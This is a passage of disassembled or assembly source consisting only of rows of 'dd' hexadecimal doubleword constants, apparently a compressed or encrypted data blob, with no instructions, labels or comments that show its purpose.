		dd 0F3186FB1h, 0FD31186Ah, 430618E6h, 0D57A11E4h, 0C8FBB003h
		dd 3CF3A94Fh, 0B9030781h, 0F6E5CB4Eh, 0DEB567D8h, 11A0F203h
		dd 0B61B754Fh, 0E1F50618h, 38EA07B2h, 0FE23EE06h, 0F089C7B0h
		dd 3B4F0DDh, 0ECB1F6A9h, 18C03A0Bh, 4A0FE041h, 4B4E6Eh
		dd 0F5828E38h, 3C464C8Bh, 751C3F03h, 63C732C6h,	0E9D6934Ch
		dd 530D5A04h, 4647CE34h, 1167E02Eh, 0A8A3AC6Eh,	38D51006h
		dd 4718EF3h, 287C19B8h,	521080F2h, 44501707h, 7B3FD11Ch
		dd 0C64D0272h, 0B3F3B0C7h, 10E8E2A8h, 0D8F10F7Ah, 8CA7B718h
		dd 37459C81h, 0E84CA66Ch, 0F218E9F5h, 4D18FA43h, 956D210Dh
		dd 3F121258h, 0B2D60011h, 0F5CE9EFCh, 0CB92002Eh, 5BD0D940h
		dd 730A51EBh, 0C0116F4Dh, 0E1D751B3h, 8051470Ch, 4602F0B8h
		dd 3D1B3045h, 6E94C871h, 8F4688EDh, 0C050CA6Fh,	778C99D5h
		dd 4B320581h, 103D5D43h, 0C00B0C8h, 0B24F5953h,	0BD74B3ECh
		dd 7428F5B8h, 0EA60584Dh, 0DDAE6791h, 7AE0077Dh, 66E1DBC5h
		dd 0FA03C036h, 0B8B79630h, 6F11053Ah, 0C1D9F3A1h, 838E4B7Eh
		dd 0E5F5E840h, 9109F17Eh, 2295C082h, 9C40E9BEh,	8492AEA6h
		dd 0F76C2B0Fh, 301126BCh, 91B80051h, 0DBDC60E3h, 44E67BF3h
		dd 0C3E4BCA4h, 0E1A0F118h, 2816811h, 60DDBAECh,	0F8A7B2EDh
		dd 7292879Eh, 38400F2Ah, 0B9011F7Ch, 7DE83332h,	44225E09h
		dd 7686E609h, 88B11C00h, 8437E39Ch, 92878937h, 0B5549081h
		dd 7D9D2080h, 441BF220h, 3FEC4301h, 186B82A6h, 0C0A860D0h
		dd 8A0662D0h, 8622E3ACh, 0A6C71835h, 925FB190h,	0D1C68D03h
		dd 98874FE9h, 61D64Ah, 58B1AE0Dh, 0C186DEFh, 3300C6E6h
		dd 545037B6h, 9CEE87Fh,	206FF30Fh, 770DFC2Fh, 7011F610h
		dd 0F081781Ch, 0B1893010h, 0B2FE0909h, 0D3C023FFh, 0C2EDF0B7h
		dd 0DCFD546Ch, 0CFF40E7Ch, 74218B0Fh, 0E29086E1h, 0B666AC81h
		dd 0CD30404Dh, 43220975h, 0CF633508h, 613786F1h, 0C9C87054h
		dd 61EC4D31h, 29813363h, 7D6D6FC0h, 0B1C024DDh,	87E38214h
		dd 7EB6809Ch, 2F7ECFBh,	70A85DF3h, 0B0846528h, 0CE520685h
		dd 97B90060h, 49FF9B68h, 0DB120BFDh, 9444964Fh,	9C82B8B4h
		dd 0B20C2FA1h, 3C84A910h, 0B121DDC5h, 0B922D210h, 0EBCDCE09h
		dd 9A1405ECh, 0A88B844Dh, 84292E1h, 915106A5h, 1F55501h
		dd 0E772DC8Eh, 46628050h, 32ABEA30h, 6FACECFh, 30A29CA5h
		dd 0B03F4098h, 7F095492h, 8FB47D29h, 80274A64h,	46661E03h
		dd 0D16F90DEh, 4228C0D0h, 6414884Fh, 78160924h,	46F56A80h
		dd 7C829392h, 1532297Fh, 720B800Ch, 0E7E376B9h,	81391C98h
		dd 13ED9FFDh, 5E870C00h, 0A8402964h, 9214B840h,	0E376EE94h
		dd 0B0E81834h, 0C1C76420h, 8F408144h, 1FB1F00Bh, 7AEAD310h
		dd 0ECE0C204h, 9B54C87Ch, 0DEAEB700h, 0CE5611A2h, 394B068h
		dd 2B1EA27h, 0B0041062h, 0A3C919B0h, 0EE3220C0h, 0FA9A1649h
		dd 97200259h, 8060FB3Ah, 14725CEBh, 264D6180h, 3288D5Eh
		dd 0D21546B9h, 5C30A802h, 48FF02B0h, 280F37E0h,	9BD805C2h
		dd 6B800DCh, 58ABB31Eh,	0FE72DB13h, 87585458h, 7E094024h
		dd 0F8BD5B20h, 2B1C327Dh, 0BC649718h, 952CB475h, 0A7052878h
		dd 0E80201ADh, 0A61EB9h, 80413C63h, 0BE000DF4h,	0CBEAA10Fh
		dd 120EB33h, 0ADF2737Ah, 4385B1FEh, 0B01CECB8h,	4830C0ABh
		dd 80A2A401h, 0FD32674Ah, 64F560BEh, 6FDC3E4Ch,	0B8964D0Ah
		dd 0D9134284h, 0B5484F20h, 1BF30079h, 9D054D8Eh, 0D306D8C9h
		dd 53EF14B1h, 104443F8h, 3684DE39h, 0D8F821BFh,	0B0E8370Eh
		dd 7905C193h, 3E4B20F9h, 0A131AE04h, 1F2E02C5h,	904DA7Eh
		dd 88008A6h, 90E1785Bh,	0C4CB0040h, 56E8F3F8h, 5E041FA5h
		dd 9B632F92h, 856DAC90h, 0A0CF30AEh, 7065D6B8h,	0AD9B30C0h
		dd 126E1669h, 0EA6D4Dh,	0E13DEE20h, 76537F2Ah, 44BE8420h
		dd 9EB6663h, 0F4548CE8h, 20E35E24h, 61A5E88Fh, 1D817E8Ah
		dd 16571034h, 21DABEh, 0C533737Ch, 6017C0B0h, 19050CBFh
		dd 78C0DF42h, 0C89F1B57h, 1880CF29h, 0F96640D4h, 612207D9h
		dd 8521AEF3h, 9081842h,	5D3CEA3Dh, 0C05B8091h, 0C6416790h
		dd 6D1B00A4h, 5A12ADCBh, 560085ACh, 58DD7233h, 1EE97BFh
		dd 31612668h, 0F8744DEFh, 810469D6h, 80C27A8Bh,	0F29EEE80h
		dd 30A63EABh, 0D0FAA180h, 0F44E3D9Dh, 763F4B00h, 3C015D96h
		dd 0B32D00B5h, 6964E93Bh, 22010D28h, 0CE931E2Ah, 18803946h
		dd 1914F090h, 0D800305Eh, 3259C505h, 2462C72h, 52F2A5F6h
		dd 8450C05Fh, 0D902F107h, 93204D2Dh, 39187E8h, 0F038B350h
		dd 0B0004AA6h, 19BC43DCh
		dd 26F4B9B2h, 68A892h, 9DC9E303h, 0F506BF9Eh, 0B2601C44h
		dd 3BF900A8h, 4B8BD70Dh, 2A009C51h, 0E6920649h,	5D4A40h
		dd 41785AC7h, 99079FA9h, 0FC423A00h, 95670E5Ch,	0B11003Fh
		dd 83847514h, 0AE076F79h, 0C9741A64h, 2D61002Fh, 0E1020h
		dd 977ACAFFh, 0FD94F8F1h, 89D7B900h, 35F3AEB8h,	387C000Ch
		dd 1FCAE3AAh, 990050AFh, 58F82191h, 0BAFD83F1h,	0DEEEC4h
		dd 0DDBF117Eh, 56B92F64h, 0B619B500h, 0BD149051h, 28DC0055h
		dd 0E56B9877h, 0E7F82447h, 8D8E4500h, 0A2975D8Fh, 8B4C07D4h
		dd 301ADDCCh, 2619A3C5h, 894F300h, 5F0E943h, 9DD1003Dh
		dd 0FFB1B5B4h, 0E80041CBh, 568BF6D2h, 3DE5E666h, 4E80F57Ch
		dd 1F4BE98Ah, 6500CE44h, 306401BBh, 4F8C7C8Dh, 0FEC0A0CFh
		dd 5E409900h, 0CB628F39h, 0C063EE94h, 314FD308h, 96006087h
		dd 0E170195Ah, 3A33982h, 1F0332F2h, 100084DAh, 5E6FB35h
		dd 0E3E4DBh, 0E2DCB69Ah, 28A7B409h, 0C890F450h,	26E4203h
		dd 80944DAFh, 6546A9h, 4041A608h, 4C45AD03h, 7867173Dh
		dd 343C741Fh, 0DE3A7600h, 4F1E7Ah, 7EE49226h, 8A2FA4DBh
		dd 3D1DD20h, 0D8428D6h,	1192AA43h, 2B5A040h, 2D726F03h
		dd 0AC3A54h, 989D2328h,	90DA0C7Eh, 55600800h, 0DE81103Eh
		dd 12EA7777h, 7CAB82Ch,	9015C468h, 6EAD0B65h, 0BF00ED79h
		dd 559C3AE4h, 8C3E32h, 577A4206h, 2713947h, 0BBF9D307h
		dd 0E40951Ah, 336809h, 0C936D5BCh, 6B2A621h, 3D9AF100h
		dd 0D2814149h, 919C0020h, 853148E6h, 1203DCEFh,	0A66AE5D1h
		dd 0EC39B8FFh, 52F009E2h, 58828D0Eh, 447A4FAh, 0DA04B313h
		dd 9C809195h, 0C3C9DBh,	0BE34C008h, 8B5C66A9h, 2459CB00h
		dd 30F00621h, 0F9C324B8h, 0F3D600F4h, 0FC323D51h, 760BDF98h
		dd 7EB19E4h, 803CF0CCh,	0F4135D75h, 0C34EDB01h,	34E92248h
		dd 0F00DA30h, 0EDD3EFC4h, 73331DCh, 0EEC03AE1h,	67F220A6h
		dd 0A7002771h, 78EA9F85h, 0ED7692Fh, 8B542F1h, 0C77907C0h
		dd 3E006E9Dh, 0EE8CCA33h, 65C98Ah, 5141647Fh, 286C7938h
		dd 0A3A1FC0Fh, 0F3216786h, 0B2437460h, 269B00F7h, 4DF42246h
		dd 5001DDEh, 0B7DFF1BEh, 3FAEB0h, 937AD798h, 0CF83EBEFh
		dd 6109F0A0h, 65C7D04Ah, 6A11FC30h, 16D700CBh, 1884CE4Bh
		dd 0B001D27Fh, 0B24E215Eh, 0E0D362CCh, 48782Eh,	406017FCh
		dd 9E733F8Fh, 5934D200h, 74645C2Ah, 4E8E00B5h, 0D1849228h
		dd 93FEFBDBh, 2053E301h, 0E2690BD6h, 38F50CE8h,	5A80557Bh
		dd 14A3F001h, 2D0747DAh, 8D1F3563h, 55C63690h, 0E9F83BB4h
		dd 92CEF601h, 0F1A5BFF7h, 91BC2045h, 26FBEB00h,	0E2682E30h
		dd 3C378DDh, 0B25502Ah,	0C280E83Ah, 77003047h, 424EE2F4h
		dd 2DB3D11h, 8F7EAE1Dh,	18CAA7D0h, 3F64E860h, 393D4E01h
		dd 0E6CFE919h, 0EFE4E0DEh, 81D50923h, 0A4803CE0h, 159E2E43h
		dd 5C73847Ah, 91B0F2F4h, 4C920FEEh, 8DE4B501h, 0E2B9C187h
		dd 7256ECE4h, 6CD9006Ah, 0FDA06321h, 73004044h,	97B85D78h
		dd 3DF4C64h, 0CAE42D90h, 0A498768Bh, 8F28119h, 0C73C489Ah
		dd 0AB458265h, 0C0BC02A2h, 0FC5FE5Bh, 0A6C28FC0h, 0C15BDA41h
		dd 80E84717h, 0F609D706h, 8B791600h, 635CE7BCh,	626900C6h
		dd 0BB04F5A7h, 8240D09h, 3B003765h, 0FE44224h, 0F61CF033h
		dd 4F9B0F2Eh, 9340B08Eh, 0C109C562h, 4C895C00h,	5E021404h
		dd 0B2F43A1Ch, 0B4A58780h, 78FF62E1h, 9D00C0B8h, 8F6F824Ch
		dd 18AE508h, 96796983h,	0D86C567Eh, 0DA000B91h,	705280BFh
		dd 829575h, 588584E0h, 7937B76h, 928BDE00h, 9DDDA40Fh
		dd 60D460FFh, 230655BFh, 6F853F00h, 0D570E7Ah, 10FE549Eh
		dd 6EDD8005h, 0E5367A1Dh, 900C860Eh, 6F7D340Fh,	0A5DFEE00h
		dd 9D802B24h, 0A420A0F9h, 99CB001Ah, 5824504Eh,	0FE7C697Dh
		dd 0C2C05700h, 0A79B9438h, 0C5750191h, 4E4FDFA5h, 62D0F824h
		dd 49549E54h, 81C2A00Ch, 0A84385Eh, 0F49E0358h,	234F0A10h
		dd 0C1A4011Ch, 0C005D774h, 0FC003532h, 878E6440h, 0E642F9B6h
		dd 61D30078h, 90B0E862h, 6C00B388h, 3616551Dh, 9040FC4h
		dd 52C37CCEh, 46DDDC00h, 0D700DEE4h, 0A51290A3h, 0BE8F1Ah
		dd 9F6C2A21h, 66881CC8h, 7F6A7800h, 8E543513h, 0A1E539C3h
		dd 7A85B200h, 0C5B51731h, 7D7F2B00h, 0A67E3318h, 193800D1h
		dd 3D7112CDh, 75005E65h, 8EDAA72Ah, 1E403Ch, 0B42F4946h
		dd 1C32389Ch, 0E3FF2E00h, 0E73E3BBEh, 2873078Eh, 90455E16h
		dd 0DBD5CB23h, 9AD69B0Ah, 3802B490h, 0C0ADC6E0h, 5B3C881h
		dd 0AEC7DF40h, 9081911h, 0F058617Eh, 0B0F8BAB4h, 9CEEB675h
		dd 0B213D0EEh, 9600BFA7h, 68D393BBh, 2FA3014Ah,	8550211Eh
		dd 0CA44DCB9h, 9A0C3Ah,	384AADD1h, 13A77BDh, 0F3B80D88h
		dd 0E8CB9587h, 600D2B7h, 0E342BE93h, 928494h, 8BBA7863h
		dd 0F27AA0Dh, 0E2F3DE01h, 0F048F58Fh, 8866218Fh, 4DE65180h
		dd 2E0F22CDh, 0C8D325Ah, 189FA99Bh, 31B26869h, 0B90E6B6Ch
		dd 8032A28Eh, 85AFA3E4h, 766E00C2h, 7C877B0Fh, 841E5DF9h
		dd 0C9664E97h, 8859FF00h, 9ED98h, 899DCEE6h, 0A566E916h
		dd 30F96AEEh, 73002005h, 76617F67h, 1901843Eh, 98CED681h
		dd 2AD82068h, 6F464B00h, 76DF7ABAh, 1FAE70EEh, 8040E71Ah
		dd 8A83F07Dh, 0C140DB0h, 1DD4AF8Ch, 0A98032D0h,	0D8C7991Ah
		dd 0D1660075h, 7BD3383Dh, 8D0027A4h, 0D5FF5EB1h, 4247FF1h
		dd 0C558226Ch, 0E33D804Fh, 1818C202h, 11587AE5h, 9D8D886Dh
		dd 65E95900h, 0A25B7991h, 3B5F1716h, 8E1B0442h,	0FE108041h
		dd 0BC01CD54h, 4AC88F6Bh, 8E60882Fh, 267483h, 0F4E5F8E9h
		dd 641D1035h, 1C5F5C00h, 0AF4AE2F1h, 619E0EB7h,	9DC29CBAh
		dd 90837215h, 0A7D10F2Ch, 6AB760BDh, 813D3Eh, 0FA51383Fh
		dd 0ED7399h, 82F833A9h,	0A8F06019h, 0D84F2A2Dh,	0EBFF8CCh
		dd 0B85C624h, 1DA2EE0Ch, 39009BE4h, 759045E5h, 3AE97FF8h
		dd 732FCDh, 0BBA6A1C9h,	85195BFEh, 0DE29B0Ah, 0DE00CCE5h
		dd 777E3289h, 733D0446h, 0C06431AAh, 84E4171Ch,	8CE04B00h
		dd 92C49798h, 5FBA0659h, 893A87Eh, 2C153E00h, 0CE019950h
		dd 0DE100F06h, 0C8380ADAh, 31019217h, 0D673C65Eh, 0A02EBE20h
		dd 567CE7F7h, 0FC8CF412h, 3AAFF800h, 78FD46FAh,	70D50076h
		dd 0A0518322h, 0CD004A07h, 0C094D1D0h, 0ED5ECCFFh, 0D76C30h
		dd 0C9CEAE4Fh, 5A30397h, 0A042642Ah, 91C1B91Ch,	8009DC8Bh
		dd 7069F82h, 0B4410190h, 4B99BCA6h, 50A1D1AAh, 0EF4C8E90h
		dd 45379C00h, 0FD44E257h, 87AE18D1h, 7F23504Fh,	549F53Bh
		dd 26E8F88Eh, 81508C09h, 6654B806h, 0FB312980h,	361957E4h
		dd 3F1C24E5h, 4EECE90Fh, 7333A123h, 0CC34CF8Dh,	83ED0032h
		dd 9785E0BCh, 9F3BC598h, 0D63E809Ch, 349E9BB0h,	305000F8h
		dd 983259FAh, 7E00B97Dh, 9AF541C4h, 188E3B4h, 1777447h
		dd 0F0708B06h, 3E3E974Ah, 590078E8h, 0B99290D7h, 384DC66Dh
		dd 30268028h, 0B4680126h, 0D0A4034Bh, 0B0070D1h, 4574667Bh
		dd 377AB39Dh, 0B0107CDBh, 0BE91ACAAh, 11DA488h,	0A1290EC9h
		dd 0EA69DE41h, 44001064h, 0EDE275F3h, 0ADF08Ah,	0B8DB3A3Eh
		dd 0EE7BD5E6h, 441DBC2Ch, 0D6777107h, 36E2E060h, 1AB20B4Bh
		dd 86C0132Eh, 72050688h, 64F1D466h, 0BD9B1D80h,	0B49C004Ah
		dd 379242E6h, 3014B6C2h, 78C56EEh, 0DAE70DB9h, 8634D8C1h
		dd 0D0DBBBEFh, 3125D6Fh
		dd 0EC72C805h, 409FB5B9h, 22CE65AFh, 0D0A72000h, 70C48315h
		dd 7811009Dh, 0A9B7C68Eh, 0C4987C72h, 0BBEA820Eh, 0BDCD609Ah
		dd 8C801Bh, 0A5CAE54Eh,	0D3595BACh, 0ABF4EB00h,	0C145CE86h
		dd 0D8A00FEh, 0B7B43858h, 654EFAECh, 55C02580h,	8A7C0781h
		dd 70825156h, 22D0EE14h, 0B3A46600h, 8E252EF9h,	2A9C0008h
		dd 6CA7508Fh, 5D00F34Ah, 4518DFD6h, 6CA34E6h, 0DBBB8477h
		dd 400F104Bh, 60682F29h, 0B25DF618h, 0FCC80EA4h, 0BC0F89BDh
		dd 45A71D60h, 72C06880h, 2A38E509h, 4FE900F1h, 0B289C6FFh
		dd 1B60CCEBh, 3F4EE50h,	0B4091D92h, 0C5AFC212h,	3E37485h
		dd 46062074h, 0FF11209Eh, 0AF9800D0h, 8D2A8BFBh, 9F0034E7h
		dd 357440A2h, 0C4B20h, 0F7D162Eh, 64593985h, 6887C201h
		dd 726988Dh, 0B079F0C8h, 0C677F3h, 0A3D56AF7h, 5F95DDADh
		dd 237B2100h, 0C18EE0Eh, 615AE2FAh, 0C38628C7h,	13B9F429h
		dd 80CF843Ah, 20879C5Dh, 1F4FEEBBh, 2BD993h, 0B77576C5h
		dd 15038A32h, 0DC7D808Fh, 164EE0ADh, 0D54D0057h, 78779740h
		dd 19009607h, 45428A9h,	5D334Ah, 0AB5F905Ah, 943F7339h
		dd 0BC9E1D0Fh, 0C587DD12h, 3A535641h, 93B11263h, 0FA600073h
		dd 687AD792h, 8C50D590h, 7F00638Ch, 0A09B9354h,	0E47691h
		dd 12DC49ACh, 489F4540h, 0AA5C5B00h, 0A465204Bh, 0E50B0533h
		dd 807294DDh, 1D286803h, 98836A00h, 75776D22h, 873B1CB2h
		dd 500D4141h, 0DC474EF9h, 20F8DD59h, 37386A0Eh,	73D2C032h
		dd 2C3C17F4h, 1BB853h, 42D82F68h, 381F5C0Dh, 0A2809E6Dh
		dd 0F586A55h, 75331279h, 895840FDh, 560A0D02h, 0F81E1E72h
		dd 0E4403271h, 0B05497Ah, 603C0720h, 808F64FEh,	5C401BE9h
		dd 306C0200h, 4221F207h, 70FC0052h, 98FF0333h, 9189C28h
		dd 0FD60A6E9h, 8E943020h, 453B0371h, 8123E30h, 28C911CCh
		dd 310BC20h, 0FBA5A10Fh, 0F2C80A3Fh, 0F374098Fh, 0E37F690Ch
		dd 18815075h, 0C12A71F9h, 0A9835A8h, 0E3087F61h, 8DE4362Fh
		dd 58A500B4h, 0EFA6EB08h, 283F2A77h, 187DB056h,	60F26B8Fh
		dd 71FB38C9h, 40C1B560h, 7561B72Bh, 298D4841h, 30383446h
		dd 5C08B5E7h, 0F92886B7h, 7E2810CCh, 0FB3050E6h, 7F92C047h
		dd 0A3981F1Eh, 0F7080A1h, 46DADD4Ch, 0A7409F00h, 61D0CE6Fh
		dd 0C57F03CCh, 4EA3FB3Eh, 2EA0E893h, 75309349h,	48EA60FEh
		dd 0B242162Dh, 64540C29h, 0B4761719h, 30437A03h, 808AA422h
		dd 0C09B6024h, 1C0DB688h, 8D003246h, 0F213096Ah, 18A50F4Ch
		dd 184EDEBDh, 4012482h,	0A3A77610h, 13E0B6DAh, 0E710C031h
		dd 933F7E4Bh, 5030AAE2h, 0F72CE07Dh, 6C1C00EEh,	2BED9B76h
		dd 0DD3C02DFh, 0EA09006Ah, 0FD8B0B26h, 4EE70F2Ah, 3816924h
		dd 8074D9FAh, 0B4AE9F99h, 0E8935D4h, 0EEDA775h,	0F78BD9ABh
		dd 0BEE70800h, 0A0C74846h, 6B207F7Ch, 0DF7A43ABh, 58F6DC80h
		dd 565E5809h, 55DE9500h, 2AE57ED1h, 1588C1E2h, 61F11FA4h
		dd 114CF0B1h, 535018F0h, 0AA3C2A94h, 7388850Ah,	0E058050Eh
		dd 44322190h, 3214476h,	46C6042Fh, 51F41043h, 0EFC886FCh
		dd 11E835CCh, 0A66AE002h, 73748E59h, 0FBC0A119h, 0CA741E4h
		dd 4AA00EF1h, 3360D568h, 3C9B64F1h, 0E3F900CCh,	5B014252h
		dd 0D1E26B75h, 91D64603h, 0B9B5ED2Ch, 4822723Eh, 2BFB5E0Eh
		dd 0E7C074AEh, 2A60E90Ah, 0F68ECCA0h, 72CCC1DFh, 183135h
		dd 0E445A906h, 0EDDA6BD4h, 620CFD74h, 887E2786h, 0D8EB008Eh
		dd 0DC1757D0h, 391234BFh, 0F4207F6Ch, 9078F9E1h, 0E9A91EB5h
		dd 1AE08087h, 9493038Dh, 3B3D71C0h, 2CB168h, 0AB07E99Dh
		dd 896AE6A4h, 920563Eh,	7DED44h, 0B598BE24h, 0B07764A1h
		dd 40EC4F88h, 5025F19Bh, 7B2262Ah, 0D2F90018h, 427A54A7h
		dd 0F58E760Ch, 1510319Fh, 0C85588CFh, 0FB736100h, 786E0DEAh
		dd 0CD4A080Fh, 0A0242AE7h, 1592013Eh, 0B3A37ED2h, 0C543C4h
		dd 539820BAh, 0EE4725D8h, 0F800DAF2h, 46CBF7ACh, 0F41062AEh
		dd 0C7E216h, 9CC452DBh,	9EC6544Dh, 0C94E4B03h, 0A37FA0CFh
		dd 0CE7398CAh, 46A338D6h, 564C490Bh, 5C2E7E80h,	4FEE48B3h
		dd 3F41EB00h, 91AD0E67h, 0C0161E2Bh, 0E98C40D2h, 5B7A245Dh
		dd 692A7C0Fh, 0D1674730h, 0DBB5EF50h, 8F9E0EE5h, 0AB78D17h
		dd 0AAFFF7h, 7270649Bh,	84034E79h, 19A960EDh, 0FEADB8DCh
		dd 6D341D2Bh, 0D75F00EFh, 916E14B6h, 73B4AB04h,	41C065BDh
		dd 10646BAh, 37F23D44h,	0E8EBBF03h, 4B00B99Fh, 6986DEF0h
		dd 0BDA3B2h, 0B43EE4FAh, 4CDBB739h, 0E5254E05h,	0ED802850h
		dd 0EC8FF81h, 7F467840h, 900C8260h, 0AB065C7Dh,	8F1CED93h
		dd 1FBC03C8h, 0E5792CD9h, 0A34CEB90h, 504ACE00h, 9B452F0Ch
		dd 5CCF3D9Fh, 0B3135B80h, 8C2B430Dh, 16A590Dh, 55C8C04Dh
		dd 72F20029h, 0C78ED6B2h, 0E30E5067h, 4063A812h, 1981FFCh
		dd 0C6B31F2Fh, 1EB2C083h, 5C129DDAh, 0AE1C5D00h, 96C4542Bh
		dd 597548h, 0E5D276FBh,	7CD96364h, 0E42C0D00h, 20C5F8C4h
		dd 659C002Fh, 577F74CEh, 9D5C0B61h, 456C035Fh, 0E0EC0D7Dh
		dd 7410AACh, 95218BE4h,	70DDF666h, 2430C700h, 0EEB2E77h
		dd 79DE0086h, 0E82F761Eh, 65248513h, 590E3362h,	3DA8A0E3h
		dd 1DF539D6h, 4FFB717Fh, 0F1604D43h, 72B6D2EAh,	0EB03CE00h
		dd 0F8318C2Eh, 5EED0037h, 4836A918h, 2500C027h,	0B2A8ABADh
		dd 0E5C804h, 3ED0E4E7h,	0E8E67564h, 21870707h, 0E0AE69A5h
		dd 174551CAh, 71EE6Fh, 812EDCD9h, 0D4CE262Ch, 6338D707h
		dd 0EDD0E95Ah, 4886F91Bh, 0DF005A61h, 0B36496C1h, 9701A446h
		dd 0BC0EAA1Dh, 8F30A0BDh, 0C3C20052h, 12B03EB4h, 77007FF3h
		dd 89D0D6EAh, 0CA0EBDh,	0FE3B9375h, 0A09A6290h,	0DAAF370Fh
		dd 0C0D1422Dh, 2B6AE081h, 0A9800F1h, 9A25F30Dh,	76008653h
		dd 0E9DE0317h, 0F451448Fh, 0BF52009Fh, 0A3552C97h, 0D00EA121h
		dd 802440CCh, 98464E29h, 3DFE00C9h, 0D250EA14h,	3F48C7CAh
		dd 0BC2703E8h, 3935A469h, 34811D40h, 5E967A14h,	54C8886Dh
		dd 35CA80B3h, 11D92340h, 2500BB7Eh, 0D370AA2Ch,	0ADA78EBh
		dd 4AAC16EEh, 0D25780A4h, 0D39FEC45h, 0A6BC7700h, 0E7179853h
		dd 0B54901F1h, 16321BEEh, 0A29C4006h, 45E2A895h, 1C963000h
		dd 79765B21h, 7749E4FCh, 0F987001Fh, 64BE9A2h, 0DEA01EE4h
		dd 0A43D7458h, 3BCF84D3h, 0C0AB6CF9h, 0AD054DBh, 0B88BDF37h
		dd 0B4F6CD60h, 4AB90078h, 0F2F97F5Eh, 1700B330h, 0D0AF352Eh
		dd 385D4h, 4C9BECB7h, 10ACF0B9h, 64E28A00h, 325AB576h
		dd 0E5861F63h, 0E9B407F7h, 3ADA0068h, 0F300FE58h, 188CBC9Eh
		dd 3C7A5582h, 758084E6h, 94E2522Ch, 6A50D63Bh, 970FCCE0h
		dd 2078121Fh, 1534E811h, 453800BDh, 2B74432Eh, 0BC02253Eh
		dd 8F79482Dh, 1F27605Eh, 42A000FBh, 0D40224C6h,	5C58C5F0h
		dd 3D34006Ah, 50E92735h, 21C000E5h, 7CD04A74h, 890C8456h
		dd 594EFB58h, 7E96F2DAh, 47D40F4Dh, 0BCC045B1h,	53FAE87Bh
		dd 7FDB0C03h, 89089AF8h, 0D0D36F82h, 0CD8BFDh, 0E686D295h
		dd 67281532h, 0EEECC200h, 0E1B6A8C4h, 66E00288h, 4B03AC3Ch
		dd 283B3040h, 0F36A5F07h, 0C44A7B54h, 0D4B29181h, 7080980Bh
		dd 0B8A6C8B9h, 47EC8EE7h, 0FBE09DA0h, 3E6CBB13h, 93C09C00h
		dd 2EF9C103h, 0B5F61h, 59A2682Ch, 0A8F87D64h, 0DEBF7200h
		dd 3E2139AAh, 7F3101C6h, 0DA63EA11h, 0E83CE4B2h, 557684A0h
		dd 0B9CDC300h, 73D7F1B7h
		dd 0CEC9980Ch, 320C788h, 6C041071h, 0E0276E07h,	0FCA06261h
		dd 14B82D0Fh, 0A9F50A64h, 3BDBCC00h, 0E1E3552Eh, 0F8016174h
		dd 3E8A2A7Fh, 1ED05DDEh, 44A024BFh, 57C90097h, 21A69523h
		dd 3047749h, 8B1FADF3h,	0DE8390E1h, 82DD2C89h, 7882816h
		dd 0AE48CBCFh, 0EABC00D3h, 0B10004DEh, 7AC26FF0h, 219E295h
		dd 0AEACB301h, 0ACA0A6CFh, 0BCC7556Ah, 0A32D820Eh, 9400D27Bh
		dd 6BFFAA09h, 3630039Dh, 1F8B5751h, 0C4639BA8h,	644DF300h
		dd 3249AED6h, 6CE60079h, 75F85430h, 5165394Fh, 91C3299Ah
		dd 80FEE20Fh, 30566D9Ah, 11700047h, 0B3C5A4D4h,	761CB7D6h
		dd 0F900A90Fh, 40255A53h, 0B8C04CE6h, 637D8501h, 808AFCFDh
		dd 2355CF50h, 88A32Ch, 51E9A5E7h, 43D01463h, 47613403h
		dd 0E0B032DDh, 0DB0169h, 21583730h, 0D5737094h,	4DA8EE00h
		dd 6A2579C2h, 0D8F700C6h, 48343B9Dh, 0B807282Fh, 9B27B68Dh
		dd 0AE605607h, 1FB14013h, 8080B2FBh, 1B11576Dh,	610073B0h
		dd 7F38D5E9h, 0F8D30BB4h, 46E58DBh, 78947574h, 9FD6002Fh
		dd 8D81CD27h, 5300E111h, 58887904h, 343A4E9h, 0DFFAB47h
		dd 45D06532h, 0A2769236h, 0D507CA73h, 6DC7C896h, 5CEE2C90h
		dd 0B79307B0h, 603C6AADh, 128D8A2Bh, 4D0B4300h,	513D5626h
		dd 301E242h, 0A4899B2h,	3FA02447h, 25734F54h, 7400B090h
		dd 44405B33h, 0E524103h, 7B583172h, 9463EC1h, 0F70C20A4h
		dd 50CE5604h, 508136C6h, 82D42AB0h, 258C03ADh, 74568BA7h
		dd 0BF2889AEh, 540314B3h, 51E585E7h, 1C59A0C7h,	5218C323h
		dd 0EBA98217h, 29A03030h, 7EC10B03h, 0D05BAA1Eh, 984C4123h
		dd 0CFBB4866h, 3FE90328h, 0E3817BE9h, 88299330h, 0E451E1D6h
		dd 9DE266E6h, 0AFA94D0Ch, 20468922h, 0F7004BC7h, 0D8A6CE36h
		dd 33262E51h, 1805F08h,	0AC23ABC0h, 313E30C0h, 0F0A0E8EAh
		dd 74567757h, 1A5EA9Bh,	58336ECh, 608A21E3h, 80FCCA9Bh
		dd 821BE801h, 732E669Eh, 0E1E052D5h, 2BEB1D25h,	597740ABh
		dd 9B217EC9h, 9EC6CC00h, 0AE55075Ch, 9ACA01A2h,	0CBC36F16h
		dd 46E4E0A5h, 56747307h, 0FCD0FDFEh, 0DAAB3Ah, 939D8205h
		dd 733BA908h, 37461B00h, 13F4F08Bh, 0D31500C8h,	0FB532990h
		dd 0BAFADDCCh, 333A9DFAh, 0D2B0EBFh, 5642E786h,	21B3FAB0h
		dd 18E10B92h, 7A83BB1Fh, 0C8F01BCEh, 853A063Ah,	0E2BC9364h
		dd 525E07BFh, 5157E00Ah, 0B20E3EF6h, 60F45E81h,	29EE534Ch
		dd 1E20762h, 2056CFABh,	0B4B1A7E8h, 37D9ED12h, 554B0042h
		dd 81570465h, 982FAA18h, 68212508h, 0A565005Dh,	17A66F56h
		dd 9900E6E9h, 967052A7h, 0E1127Ah, 0B12B8DBFh, 79933CDCh
		dd 1856F231h, 98300992h, 602772A5h, 799438CDh, 40834D82h
		dd 0C44EC60h, 3D8319B1h, 0E3489E11h, 3CA71C69h,	6CBEEEC6h
		dd 0B19D3008h, 0F73BFC20h, 0E710EB01h, 0FE39B7E6h, 70BF88ECh
		dd 22130180h, 0AA482B23h, 6068B252h, 0F709301Bh, 6CA75C10h
		dd 0F701FEE0h, 90334000h, 0E2CF9539h, 36920085h, 138A58E8h
		dd 22024AFFh, 3A2A5A20h, 5044C6h, 56AF8250h, 25CE76F8h
		dd 7B092F65h, 1A701C90h, 0BDCA3BAEh, 9031E519h,	6011D4A5h
		dd 3E6960Bh, 0F708805Fh, 18A51C5h, 0BF19D439h, 0A6051691h
		dd 5E0C8BC8h, 3FADD861h, 74803FF0h, 0DABDF8A9h,	4E3A1A38h
		dd 8003BE20h, 5542DF01h, 833519h, 6E17DDF6h, 0AEE3E4Eh
